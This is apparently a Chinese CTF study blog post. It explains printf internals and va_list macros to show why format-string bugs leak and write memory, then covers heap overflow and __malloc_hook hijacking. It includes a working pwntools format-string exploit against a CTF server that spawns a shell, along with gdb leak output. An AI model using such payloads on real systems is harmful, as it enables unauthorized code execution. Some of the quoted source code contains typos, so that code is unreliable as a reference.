0%

Printf源码分析

————深入理解格式化字符串漏洞

格式化字符串漏洞一直是我比较头痛的东西

不管是泄露地址还是改写数据,在IDAgdb上看到的偏移总是不准确

但最近我想到了可以对照gdb上看到的地址终端上显示的泄露地址来寻找偏移的方法:

终端上泄露的地址偏移准确,但不清楚是哪个函数的

gdb可以明确地址背后的函数,但是偏移计算常常不准确

所以用两者结合分析,就可以获取偏移了


我刚开始学习这个漏洞时候,依葫芦画瓢地对比 printf(buf)printf(“%d”,buf) 的区别,明白了第一个参数是“控制字符串”,然后伪造“控制字符串”来达到目的,接着学到更多的利用技巧,可以解决一些较为复杂的题目了,但是埋藏在我心中的疑问一直没有解决:

“%p”是怎么泄露地址空间的?

“printf”为什么可以自定义参数的数量?

“%100c%10$n”是怎么识别第10个偏移的,为什么输出了100个c对程序没有影响?

说到底,我以前对格式化字符串漏洞的学习也只是一种模仿,把它当成黑盒,达到目的就了事

但不久之前我受到“《汇编语言》-王爽”中综合研究的启发,对“printf”有了新的理解

于是我想扒一扒“printf”的运行原理


源码:(32位)

​ //64位的源码和32位相比,只有宏定义的部分不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
#include<io.h>
#include<ctype.h>
#include<string.h>
#include<stdio.h>

typedef char *va_list;
#define va_round_size(TYPE) (((sizeof(TYPE)+sizeof(int)-1)/sizeof(int))*sizeof(int)) //4的整数倍
#define va_start(AP,LASTARG)
(AP=((char *)&(LASTARG)+va_round_size(LASTARG)))
#define va_arg(AP,TYPE)
(AP+=va_round_size(TYPE),*((TYPE*)(AP-va_round_size(TYPE))))
//得到可变参数的地址,第一次返回时得到第一个参数的地址
#define va_end(AP)
(ap=(va_list)0)
//将释放参数表AP
#define ZEROPAD 1
#define PLUS 4
#define SPACE 8
#define LEFT 16
#define SPECIAL 32
#define STDOUT 1
#define SMALL 64
#define SIGN 2

static int getFieldWidth(char **str);
static char printbuf[1024];
static char *number(char *str,int num,int base,int size,int precision,int type);
int vsprintf(char *buf,const char *fmt,va_list args);
static int println(const char *fmt,...);
int __res=0;
//进制之间的相应转换
#define do_div(n,base) (\
__res=((unsigned long)n)%(unsigned)base,\
n=((unsigned long)n)/(unsigned)base,\
__res\
)
/*测试printf函数*/
int main()
{
int tmp=10;
println("%p\n",tmp);
return 0;
}
/*
获取显示宽度
*/
int getFieldWidth(const char **str)
{
int len=0;
while(isdigit(**str))
len=len*10+*((*str)++)-'0';
return len ;
}
/*
以特定的进制格式化输出字符
*/
static char *number(char *str,int num,int base,int size,int precision,int type)
{
char c,sign,tmp[36];
const char *digits="0123456789ABCDEFGHIGKLMNOPQRSTUVWXYZ";
int i;
if(type&SMALL) digits="0123456789abcdefghijklmnopqrstuvwxyz";
if(type&LEFT) type&=~ZEROPAD;
if(base<2||base>36)
return 0;
c=(type&ZEROPAD)?'0':' ';
if(type&SIGN&&num<0){
sign='-';
num=-num;
}
else
sign=(type&PLUS)?'+':((type&SPACE)?' ':0);
if(sign)
size--;
if(type&SPECIAL)
if(type==16)
size-=2;
else if(base==8)
size--;
i=0;
if(num==0)
tmp[i++]='0';
else
while(num!=0)
tmp[i++]=digits[do_div(num,base)];
if(i>precision)
precision=i;
size=-precision;
if(!(type&(ZEROPAD+LEFT)))
while(size-->0)
*str++=' ';
if(sign)
*str++=sign;
if(type&SPECIAL)
if(base==8)
*str++='0';
else if(base==16)
{
*str++='o';
*str++=digits[33];
}
if(!(type&LEFT))
while(size-->0)
*str++=c;
while(i<precision--)
*str++='0';
while(i-->0)
*str++=tmp[i];
while(size-->0)
*str++=' ';
return str;
}
/*
打印输出函数
*/
int vsprintf(char *buf,const char *fmt,va_list args)
{//printbuf(存储‘打印数据’的数组),fmt(格式化参数),args(变参)
int len,i,*ip,flags,field_width,precision,qualifier;
char *str,*s;
for(str=buf;*fmt;++fmt)//str相当于buf
{
if(*fmt!='%')
{
*str++=*fmt;//没有遇到'%'前,str先获取fmt,再累加
continue;
}
/*处理相关的标记*/
flags=0;
repeat:
++fmt; //跳过第一个%号
switch(*fmt)
{
case '-':
flags|=LEFT;
goto repeat;
case '+':
flags|=PLUS;
goto repeat;
case ' ':
flags|=SPACE;
goto repeat;
case '#':
flags|=SPECIAL;
goto repeat;
case '0':
flags|=ZEROPAD;
goto repeat;
}
field_width=-1;
if(isdigit(*fmt))
field_width=getFieldWidth(&fmt);//获取域宽
precision=-1;//获取精度
if(*fmt=='.')
{
++fmt;
if(isdigit(*fmt))
precision=getFieldWidth(&fmt);
if(precision<0)
precision=0;
}
qualifier=-1;//获取相应的修饰符
if(*fmt=='H'||*fmt=='L'||*fmt=='l')
{
qualifier=*fmt;
++fmt;
}
switch(*fmt)//判断相应的格式串
{
case 'c':
if(!(flags&LEFT))
while(--field_width>0)
*str++=' ';
*str++=(unsigned char)va_arg(args,int);//将参数值存入printbuf里的
while(--field_width>0)
*str++=' ';
break;
case 's':
s=va_arg(args,char *);
len=strlen(s);
if(precision<0)
precision=len;
else if(len>precision)
len=precision;
if(!(flags&LEFT))
while(len<field_width--)
*str++=' ';
for(i=0;i<len;++i)
*str++=*s++;
while(len<field_width--)
*str++=' ';
break;
case 'o':
str=number(str,va_arg(args,unsigned long),8,field_width,precision,flags);
break;
case 'p':
if(field_width==-1){
field_width=0;
flags|=ZEROPAD;
}
str=number(str,(unsigned long)va_arg(args,void*),16,field_width,precision,flags);
break;
case 'x':
flags|=SMALL;
case 'X':
str=number(str,va_arg(args,unsigned long),16,field_width,precision,flags);
break;
case 'd':
case 'i':
flags|=SIGN;
case 'u':
str=number(str,va_arg(args,unsigned
long),10,field_width,precision,flags);
break;
case 'n':
ip=va_arg(args,int *);
*ip=(str-buf);
break;
default:
if(*fmt!='%')
*str++='%';
if(*fmt)
*str++=*fmt;
else
--fmt;
break;
}
}
*str='\0';
return str-buf;
}
/*
可变函数在内部实现的过程中是从右向左压入堆栈,从而保证了可变参数的第一个参数始终位于栈顶
*/
static int println(const char *fmt,...)
{
va_list args;//定义一个char类型的指针
int i;
va_start(args,fmt);
//实际上可以理解为(char *)&fmt+4指向了第一个参数(char*)&fmt+8指向了第二个参数
write(STDOUT,printbuf,i=vsprintf(printbuf,fmt,args));
//将printbuf里的值写入标准输出
va_end(args);//关闭函数参数列表,将参数置空(即args=NULL)
return i;
}

伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdarg.h>

//va_start(arg,fmt),初始化参数指针arg,将函数参数fmt右边第一个参数地址赋值给arg
//fmt必须是一个参数的指针,所以,此种类型函数至少要有一个普通的参数
//从而提供给va_start ,这样va_start才能找到可变参数在栈上的位置
//va_arg(arg,char),获得arg指向参数的值,同时使arg指向下一个参数,char用来指名当前参数型
//va_end 在有些实现中可能会把arg改成无效值,这里,是把arg指针指向了 NULL,避免出现野指针

void print(const char *fmt, ...)
{
va_list arg;
va_start(arg, fmt);

while (*format)
{
char ret = *fmt;
if (ret == '%')
{
switch (*++fmt)
{
case 'c':
{
char ch = va_arg(arg, char);
putchar(ch);
break;
}
case 's':
{
char *pc = va_arg(arg, char *);
while (*pc)
{
putchar(*pc);
pc++;
}
break;
}
default:
break;
}
}
else
{
putchar(*fmt);
}
fmt++;
}
va_end(arg);
}

printf源码太复杂,但是网上有大佬把其中关键的部分提取了出来,编写出了相对简单的伪代码

“printf”的执行过程主要依靠1个指针3个函数

指针:val_list arg

函数:va_start(arg, fmt),va_arg(arg, type),va_end(arg)

主要流程如下:

根据流程,可以大致分析漏洞的成因了:

假设正常的printf有3个变量:val1,val2,val3

它们所指向的内容分别为:buf1,buf2,buf3

正常的printf有3个变量在函数调用的过程中是会正常压栈的(如上图)

格式化参数中的3个“%”会调用3次“va_arg”函数,并且都只会压在栈上的这3个参数进行操作

如果printf没有这3个参数,arg就会把栈中对应位置的内容错误识别为参数

因此这3个“va_arg”函数就会对对应位置的地址空间进行操作

格式化字符串漏洞,就是利用了arg的特性,使用“%p”获取指针类型来泄露地址

这就引发了一个问题:

函数va_start,va_arg,va_end中的参数都是一样的(arg),为什么指向内容会变化呢?

并且arg似乎知道“格式化参数”的长度,可以准确指向其后的下一个变量

想要知道arg的成因,需要先有C语言的知识


宏是一种批量处理的称谓,计算机科学里的宏是一种抽象

即使用“标识符”来表示“替换列表”中的内容

宏定义

格式为:“#define 标识符 替换列表

在预处理过程中,预处理器会把源程序中所有宏名,替换成宏定义替换列表中的内容

宏函数

格式为:“#define MAX(a,b) ((a)<(b)?(b):(a))”(MAX为函数,其后为函数的内容)

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

#define sqr(x) ((x)*(x))

int main(int argc,char *argv[])
{
int n;
double x;

printf("请输入一个整数:\n");
scanf("%d",&n);
printf("%d的平方是:%d\n",n,sqr(n));

printf("请输入一个实数:\n");
scanf("%lf",&n);
printf("%lf的平方是:%lf\n",n,sqr(n));

return 0;
}

这里可以发现:

int 类型(%d)和 double 类型(%lf) 都可以被宏函数“sqr(n)”计算

“sqr(n)”本身的参数“n”没有定义类型,并且“n”可以接受任何合理的类型的数据

参考:https://blog.csdn.net/wit_732/article/details/106602503

PS:“&”脱去解引用

我们都熟悉“&”,知道它有获取变量地址的能力,但先看一个例子:

1
2
3
4
5
6
7
8
#include "stdio.h" 
int main(void)
{
int a = 0; //&a = 0x0012ff60
int *p = &*(int*)0x0012ff60;
printf("The value is: %d/n", *p);
return 0;
}

已知变量“a”的地址就是“0x0012ff60”,把“0x0012ff60”转换为(int)类型,这时它和“&a”是*等价

“(int)0x0012ff60 == &a(变量a的地址)”,在其前面加上“ ”,就代表变量a的内容(解引用)

最后在其前面加上“&”,表示脱去解引用 ,“&(int )0x0012ff60 == &a”

参考:https://blog.csdn.net/zenny_chen/article/details/2512056

PS:C语言中的“逗号”

C语言中的逗号有两种意思:

1、表示”分隔号”的意思,就和语文中的逗号一个意思

2、表示”逗号运算符”的意思,用它将多个表达式连接起来:

先对左侧表达式求值,将结果丢弃,逗号运算符的真正结果是右侧表达式的值

例如:“a = 3+5 , 6+8 ”( 逗号表达式 )

结果:“a = 14 ”


分析printf中的宏定义(32位)

​ //64位的宏定义与32位有些许不同,后文会提到

我们的目的是了解为什么arg自动获取下一个参数的位置,那么先看看arg是怎么来的

“va_list arg”中声明了arg

1
typedef char *va_list;

“typedef”为重定义,把“char *”重新命名为“va_list”,这里就是定义了一个char类型的指针

其后的:va_start,va_arg,va_end都是宏函数,arg作为它们的参数

而它们都属于VA_LIST

VA_LIST 是在C语言中解决变参问题一组宏(变参问题:参数的个数不定,类型也可以不同)

VA_LIST的用法:

1.首先在函数里定义一具VA_LIST型的变量,这个变量是指向参数的指针
2.然后用VA_START宏初始化变量刚定义的VA_LIST变量
3.然后用VA_ARG返回可变的参数,VA_ARG的第二个参数是你要返回的参数的类型
4.最后用VA_END宏结束可变参数的获取

为了理解这些宏函数VA_LIST),先看一个案例:

1
2
3
4
5
6
7
void test(char *param1,char *param2,char *param3, char *param4) 
{
va_list list;
va_start(list,param1);
va_arg(list, char);
return;
}//宏定义过程省略

调用函数test,参数从右往左依次入栈,然后压上“返回地址”和“EBP”:

调用函数 va_start(list,param1) 后:

调用函数 va_arg(list, char) 后:

结合“以上案例”和“以下宏函数的源码”,我们可以大致分析一下这些宏函数了

1
2
3
4
5
6
7
8
9
10
11
12
13
#define va_round_size(TYPE) 
(((sizeof(TYPE)+sizeof(int)-1)/sizeof(int))*sizeof(int))

#define va_start(AP,LASTARG)//va_start
(AP=((char *)&(LASTARG)+va_round_size(LASTARG)))

#define va_arg(AP,TYPE)//va_arg
(AP+=va_round_size(TYPE),*((TYPE*)(AP-va_round_size(TYPE))))

#define va_end(AP)//va_end
(ap=(va_list)0)

//以上操作中的sizeof(int)只是32位的情况,如果是64位,则变为sizeof(int64)
1
2
3
4
5
//针对TYPE为一个类型名的情况
#define _sizeof_type(TYPE) (size_t)((TYPE*)0 + 1)

//针对TYPE为一个变量或者数组名的情况
#define _sizeof(TYPE) ((size_t)(&TYPE + 1) - (size_t)(&TYPE))

“sizeof”:

1
((size_t)(&TYPE + 1) - (size_t)(&TYPE))

“&TYPE + 1”无非是一个很奇妙的东西,这个简单的“+1”操作并不是在“&TYPE”的基础上加1字节

它的实际增加值会随着“TYPE”类型的变化而变化

​ //比如:“TYPE”为int类型,“+1”的实际值为“+4”,“TYPE”为double类型”,“+1”的实际值为“+8”

为什么会有这样的结果呢?

每一个变量标识符在编译期间,编译器会为它们创建一个符号表,其中存放着变量标识符相应的各种属性,如类型、地址标识等

“+1”代表了增加1个单位,具体的字节数是根据符号表计算得来的

​ //这一点在数组中很有用,比如对int类型的数组进行“+1”操作,实际上地址加了“4”

所以不管是什么类型(包括数组),sizeof都可以获取它的“长度”

“va_round_size”:

1
(((sizeof(TYPE)+sizeof(int)-1)/sizeof(int))*sizeof(int))

简单翻译一下就是:“ (len(TYPE)+3) / 4 * 4 ”

1.整除4,然后乘4的操作,可以保证结果为4的倍数(只退不进)

2.“+3”则保证了结果最小为4(sizeof(TYPE)最小为“1”)

那么整个“va_round_size”就是为了获取“TYPE类型”的长度,并把结果保存为4的倍数

​ //在64位的系统中,sizeof(int)变为sizeof(int64),所以结果保存为8的倍数,且最小为8

“va_start”:

1
(AP=((char *)&(LASTARG)+va_round_size(LASTARG)))

根据上文对“va_round_size”的分析:AP = “LASTARG”的地址 + “LASTARG”的长度

“LASTARG”就相当于案例中的“param1”,第一个参数,格式化参数

而格式化参数通常是一个字符串,所以“LASTARG”是一个数组

“va_start”的意义就在于:把AP赋值为“LASTARG”结束后的下一个地址

这个也不难理解:

“LASTARG”的长度为4的倍数最小为4,保证AP至少可以指向下一个地址空间

有时候“格式化参数”会比较长,可以占用好几个地址空间,这样设计就可以保证指针list指向“val1”

“va_arg”:

1
2
AP+=va_round_size(TYPE)//TYPE通常是指针类型,长度固定为‘一个字’
*((TYPE*)(AP-va_round_size(TYPE)))

进行“AP+va_round_size(TYPE)”操作,让AP加上“TYPE”的长度,使其指向下一个“val”

“AP-va_round_size(TYPE)”就是它原本指向的变量“val”的地址

然后将其转化为“TYPE ”类型,此时 “(TYPE )(AP-va_round_size(TYPE))”就相当于“&val”

“va_arg”实现了当前“val”的强制类型转换,并且使AP指向了下一个“val”

“va_end”:

1
(ap=(va_list)0) 

之前“char ”被重定位成“va_list”,所以“va_list”就等同于“char

“va_end”就相当于把AP指针置空了

参考博客:

https://blog.csdn.net/f110300641/article/details/83822290

https://blog.csdn.net/u013812502/article/details/81198452

https://blog.csdn.net/hyb612/article/details/102598233

通过上述分析,我们已经认识了“printf”的执行过程,明白了它是如何获取参数打印参数

也了解了用于处理变参问题的一组宏定义:VA_LIST,分析了它的运行原理

接着就是分析格式化字符串中,两个重要控制符了:“%p”,“%n”


分析printf的控制符

伪造控制符,这是格式化漏洞的核心

用“%p”可以泄露内存数据,用“%n”可以改写地址空间的内容

两者结合,就可以做到WriteAnythingAnywhere

“%p”:

1
2
3
4
5
6
7
8
case 'p':
if(field_width==-1)
{
field_width=0;
flags|=ZEROPAD;//#define ZEROPAD 1
}
str=number(str,(unsigned long)va_arg(args,void*),16,field_width,precision,flags);
break;

整个printf函数只有一个地方有“field_width= -1”

1
2
3
field_width=-1;
if(isdigit(*fmt))
field_width=getFieldWidth(&fmt);//获取域宽

“field_width”被赋值“-1”后,只要符合if条件,它马上就会被重新覆盖

经过一些操作后:“field_width=0”,“precision=-1”,“flags=1”

进入函数“number”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
static char *number(char *str,int num,int base,int size,int precision,int type)
{//实参为:str,va_arg(args,void*),16,field_width,precision,flags
char c,sign,tmp[36];
const char *digits="0123456789ABCDEFGHIGKLMNOPQRSTUVWXYZ";
int i;
//#define SMALL 64,#define LEFT 16,#define ZEROPAD 1,#define SIGN 2
if(type&SMALL) digits="0123456789abcdefghijklmnopqrstuvwxyz";//不成立
if(type&LEFT) type&=~ZEROPAD;//false
if(base<2||base>36)//false
return 0;
c=(type&ZEROPAD)?'0':' ';// c=0
if(type&SIGN && num<0){//false
sign='-';
num=-num;
}
//#define PLUS 4,#define SPACE 8,#define SPECIAL 32
else
sign=(type&PLUS)?'+':((type&SPACE)?' ':0);// sign=0
if(sign)//false
size--;
if(type&SPECIAL)//false
if(type==16)
size-=2;
else if(base==8)
size--;
i=0;
if(num==0)//false
tmp[i++]='0';
else
while(num!=0)
tmp[i++]=digits[do_div(num,base)];//tmp[0]=字长,i=1
if(i>precision)//ture
precision=i;// precision=1
size=-precision;// size=-1
if(!(type&(ZEROPAD+LEFT)))//false
while(size-->0)
*str++=' ';
if(sign)//ture
*str++=sign;
if(type&SPECIAL)//false
if(base==8)
*str++='0';
else if(base==16)
{
*str++='o';
*str++=digits[33];
}
if(!(type&LEFT))
while(size-->0)
*str++=c;
while(i<precision--)//false
*str++='0';
while(i-->0)//false
*str++=tmp[i];
while(size-->0)//false
*str++=' ';
return str;
}

这个应该是printf中最复杂的函数了

其实程序在处理第二个参数va_arg(args,void*)的时候,就已经把当前“val”转化为指针了,这个指针的长度字长(一个地址空间的长度)

剩下的部分就是对字符串进行:进制转换,补全,保留小数……这些部分都不是分析的重点

归根到底,“%p”就是想把当前的变量“val”变为空类型指针

​ //目前没有搞清楚va_arg(args,void*)是怎么实现的

“%n”:

1
2
3
4
case 'n':
ip=va_arg(args,int *);
*ip=(str-buf);
break;

编译过后:“ip=(args += va_round_size(int ),((int * )(args - va_round_size(int )))) ”

“args - va_round_size(int * )”是一个地址,其内容装有“val”的首地址,“val”指向真实的数据

“int ** ”代表了二阶指针,用于申明其内容“val”也是一个指针

进行第一行的操作后:ip被赋值为“&val”(逗号表达式只取最后一个为结果)

“* ip”就是“val”的“data”,“data=(str-buf)”

仔细分析函数vsprintf

遇到“%”前:

遇到“%”时:(同时,程序根据控制符“n”作出相应的相应)

遇到“%”后:

程序不会把“%控制符”存储到“str/buf”中,取而代之的是对应格式的“val”

而“%n”不会打印“val”,而是会改变“val”

“buf”:数组“printbuf”的首地址(“buf/str”就是“printbuf”,用于存储将要打印的数据)

“str”:指针“fmt”遇到字符“%”时,当前指针“str”所指向的地址

“str-buf”:在排除“%控制符”后,将要打印数据的长度

所以“%n”可以改变对应“val”的内容,其数值为在排除“%控制符”后,将要打印数据的长度

了解其他参数:

https://blog.csdn.net/thj_1995/article/details/109772890


深入理解格式化漏洞

通过上文对printf的分析,想必对格式化漏洞的成因已经了解了

先看一段代码:

1
2
3
4
5
6
7
8
9
10
11
int locker()
{
char s[520]; // [esp+0h] [ebp-208h] BYREF

fgets(s, 512, stdin);
imagemagic(s);
if ( key == 35795746 )
return system("/bin/sh");
else
return printf(format, &key, key);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
io = remote('111.200.241.244',53994)

key_addr = 0x0804A048 #已知

payload=p32(key_addr) #0x22
payload+=p32(key_addr+1) #0x33
payload+=p32(key_addr+2) #0x22
payload+=p32(key_addr+3) #0x02

payload+="%"+str(0x22-4*4)+"c%12$hhn" #0x22 # 偏移 为 12
payload+="%"+str(0x33-0x22)+"c%13$hhn" #0x33 # 偏移 为 13
payload+="%"+str(0x122-0x33)+"c%14$hhn" #0x22 # 偏移 为 14
payload+="%"+str(0x102-0x22)+"c%15$hhn" #0x02 # 偏移 为 15

io.sendline(payload)
io.interactive()

输入“%p”进行泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
0000| 0xffffcd10 --> 0xffffcd40 ("aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n")
0004| 0xffffcd14 --> 0xf7fe7b24 (pop edx)
0008| 0xffffcd18 --> 0xffffcf94 --> 0x0
0012| 0xffffcd1c --> 0x0
0016| 0xffffcd20 --> 0xf7fb1000 --> 0x1ead6c
0020| 0xffffcd24 --> 0xf7fb1000 --> 0x1ead6c
0024| 0xffffcd28 --> 0xffffcf48 --> 0xffffcf58 --> 0x0
0028| 0xffffcd2c --> 0x80484e7 (<locker+53>: add esp,0x10)
0032| 0xffffcd30 --> 0xffffcd40 ("aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n")
0036| 0xffffcd34 --> 0x200
0040| 0xffffcd38 --> 0xf7fb1580 --> 0xfbad2288
0044| 0xffffcd3c --> 0xf7fb7ea4
0048| 0xffffcd40 ("aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n")

结果:

1
aaaa-0xf7fe7b24-0xffffcf94-(nil)-0xf7fb1000-0xf7fb1000-0xffffcf48-0x80484e7-0xffffcd40-0x200-0xf7fb1580-0xf7fb7ea4-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d

可以发现:“fgets”写入“s”的地址为“0xffffcd40”,“printf”格式化参数的地址为“0xffffcd10”

想要利用“fgets”写入目标数据的地址并进行修改,必须先知道地址间偏移

这就是格式化字符串漏洞的基本操作

最后说一个有意思的:

在上述分析中“%n”和“%p”都可以把当前“val”转化为二阶指针(“va_arg(args,type* )”)

但是它们两个却有不同的效果:

“%p”只能泄露当前地址中的数据,如果该数据是个地址,那么它也不会跳转

“%n”则会跳转所有的地址,只要读取到地址就会跳转,直到不是地址才会被认为是数据

我觉得“%n”的运算是正常的,它的运算方式类似于二叉树,那么为什么“%p”的运算会“异常”呢?

原因就在于它的类型转换方式:va_arg(args,void* )

它把“val”转换为了空类型指针

由于其他指针都包含有地址信息,所以将其他指针的值赋给空类型指针是合法的,反之,将空类型指针赋给其他指针则不被允许,除非进行显式转换

所以空类型指针不能指向其他类型的指针,那么被“%p”支配的“val”不会再进行跳转了

参考:https://blog.csdn.net/qq_40627648/article/details/84672125

堆溢出+malloc_hook劫持

前几天遇到XCFT上的堆题,搞了很久才搞出来,也学到了很多东西,在此分享一下

题目链接: 题目 (xctf.org.cn)

1638887493261

1638887500660

64位,dynamically,开了Canary,开了Full

1638887658901

1638887666373

代码分析

程序有4个选项

选项1:申请一片堆空间,大小自定义,可以写入数据(可以申请10次,第11次会被强行释放)

​ //在堆中写入数据的指针会被写入bss段

选项2:可以释放一片堆空间,下标自定义(0~9)

选项3:可以更改某一次申请堆空间的数据(大小可以不同)

​ //必须在bss段检测到选项1生成的指针才会执行

漏洞分析

首先有UAF,申请的指针没有置空

其次还有数组越位

1638889038496

可以发现,下标“v0”只检查了上界,没有检查下界,造成其可以为负数

没有开NX,那么堆中可以写入shellcode

在本函数中,没有检测大小就直接写入,明显的堆溢出漏洞

入侵思路

本程序开了Full,GOT表不可改,堆中的shellcode不能借助函数的plt来控制CS:IP

所以这里选择控制malloc_hook来执行shellcode


Hook

Hook直意为钩子又叫做回调函数,是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理

在程序中设置钩子,用来在mallocreallocfree的时候,对其进行检查,可以看到对应的函数调用后的地址是什么

原理:

函数的指针可以指向不同的函数,从而完成不同的功能

设计理念:

我们在写main函数的时候,可能还不知道它会完成什么功能,这时候留下函数指针作为接口,可以挂上不同的函数完成不同的功能,究竟执行什么功能由钩子函数的编写者完成

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include "stdio.h"

void fun1(void)
{
printf("i am fun1\r\n");
}

void fun2(void)
{
printf("i am fun2\r\n");
}

int main(int argc, char const *argv[])
{
void (* fun)(void); //定义一个函数指针

fun = fun1; // 让fun指向fun1(首地址)
fun(); // 执行fun

fun = fun2; // 让fun指向fun2(首地址)
fun(); // 执行fun

return 0;
}

1638893957283

这里的函数“fun1”和函数“fun2”就是hook

把函数指针fun指向fun1和fun2的过程称为“挂钩子”

​ // 在嵌入式系统中,底层不知道应用层需要完成什么功能, 往往会提供像这样子的函数回调方式供应用层使用

malloc_hook

malloc_hook本质上讲是一个指针变量,指向一个“检查函数”

1
void * function(size_t size, void * caller)	

​ //其中caller是表示在栈中调用malloc的函数的时候的函数地址,%p可以打印出它的地址

在执行malloc时,会检测__malloc_hook的值,如果malloc_hook的值存在(已经挂钩),将调用malloc_hook指向的call rax的地址(malloc调用之后的地址)

简单来说:执行malloc时,malloc_hook也会执行

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <malloc.h>

void *fun()
{
__malloc_hook = NULL;
printf("hello,fun was called!\n");
return NULL;
}
int main() {
__malloc_hook = fun;
malloc(10);
}

malloc_hook指向了fun的首地址(挂钩子)

程序在执行malloc时就会执行fun,而不是“检查函数”(钩子已切换)

利用:

malloc_hook位于main_arena上方0x10的位置,可以通过fake chunk来overwrite该值实现getshell

堆管理机制:bin

一个链表被称为一个bin,简单来说bin就是free chunk的容器

用户 free 掉的内存并不是都会马上归还给系统,ptmalloc 会统一管理 heap 和 mmap 映射区中空闲的 chunk,当用户进行下一次分配请求时,ptmalloc 会在空闲的 chunk 中选择一个合适的分配给他,这样就避免了频繁地系统调用

ptmalloc 把大小相似的 chunk,用双向链表连接起来,这样就形成了一个 bin。ptmalloc 一共维护了 128 个这样的 bin,并使用数组来存储这些 bin 如下:

1638959281581

从第2个到第64个bin是small bin,small bin中的chunk大小相同,small bin是一个双向链表

在某一条bin中(chunk大小相同)按照「先入先出」进行排序,也就是说,刚被释放的放在前面

​ //所以UAF中:刚刚释放的内存空间,可以被立刻重新申请

unsorted bin是一段特殊的bin,由free chunks组成的循环双链表,当释放较小或较大的chunk的时候,如果系统没有将它们添加到对应的bins中,系统就将这些chunk添加到unsorted bin

在使用malloc申请内存时,如果在“fastbin”和“smallbin”中都没有找到合适的free chunk,程序就会在unsorted bin中进行遍历,寻找合适的free chunk,并且对其进行排序重新分配到bins中

堆管理机制:chunk

1.allocated chunk:当前chunk是被应用层用户所使用的

2.free chunk:当前chunk是空闲的,没有被应用层用户所使用

3.top chunk

当一个chunk处于一个arena的最顶部(即最高内存地址处)的时候,就称之为top chunk

该chunk并不属于任何bin,而是在系统当前的所有free chunk(无论那种bin)都无法满足用户请求的内存大小的时候,将此chunk当做一个应急消防员,分配给用户使用

4.last remainter chunk

如果在bins链中存在freechunk时,当我们去malloc的时候,malloc的请求大小比freechunk的大小小,那么arena就会切割这个freechunk给malloc使用,那么切割之后剩余的chunk就被称为“last remainder”

堆管理机制:ptmalloc算法

malloc的时候,不论malloc的大小,首先会去检查每个bins链(除去fastbins链)是否有与malloc相等大小的freechunk,如果没有就去检查bins链中是否有大的freechunk可以切割

如果存在,那么就切割大的freechunk,那么切割之后剩余的chunk成为last remainder,并且last remainder会被放入到unsorted bin

如果没有大的free chunk可以切割,程序就会查询top chunk,如果top chunk的大小比用户请求的大小要大的话,就将该top chunk分作两部分:1.用户请求的chunk,2.新的top chunk,否则,就需要扩展heap或分配新的heap了——在main arena中通过sbrk扩展heap,而在thread arena中通过mmap分配新的heap

可以作出以下示意图:

1638952496892

​ //切割unsortedbin其实就是 _int_malloc 函数的for大循环的第一步,切割smallbins、largebins其实就是 _int_malloc 函数的for大循环的第三步

堆溢出漏洞

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数

堆溢出和栈溢出不同,因为堆上没有IP控制指令,所以不能通过堆溢出来控制IP

那么堆溢出的作用是:

1.覆盖下一个相邻的chunk的内容

2.利用堆的机制(如unlink等)来实现任意地址的写入( Write-Anything-Anywhere),或控制堆块中的内容等效果,从而来控制程序的执行流

案例:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}

这个程序的主要目的是调用 malloc 分配一块堆上的内存,之后向这个堆块中写入一个字符串,如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中(实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)

1
2
3
4
5
0x602000:   0x0000000000000000  0x0000000000000021 <===chunk
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <===top chunk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
0x602000:   0x0000000000000000  0x0000000000000021 <===chunk
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141 <===top chunk(已被溢出)
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141

​ //chunk的头两个8字节:一个为“prev_size”,另一个为“size”


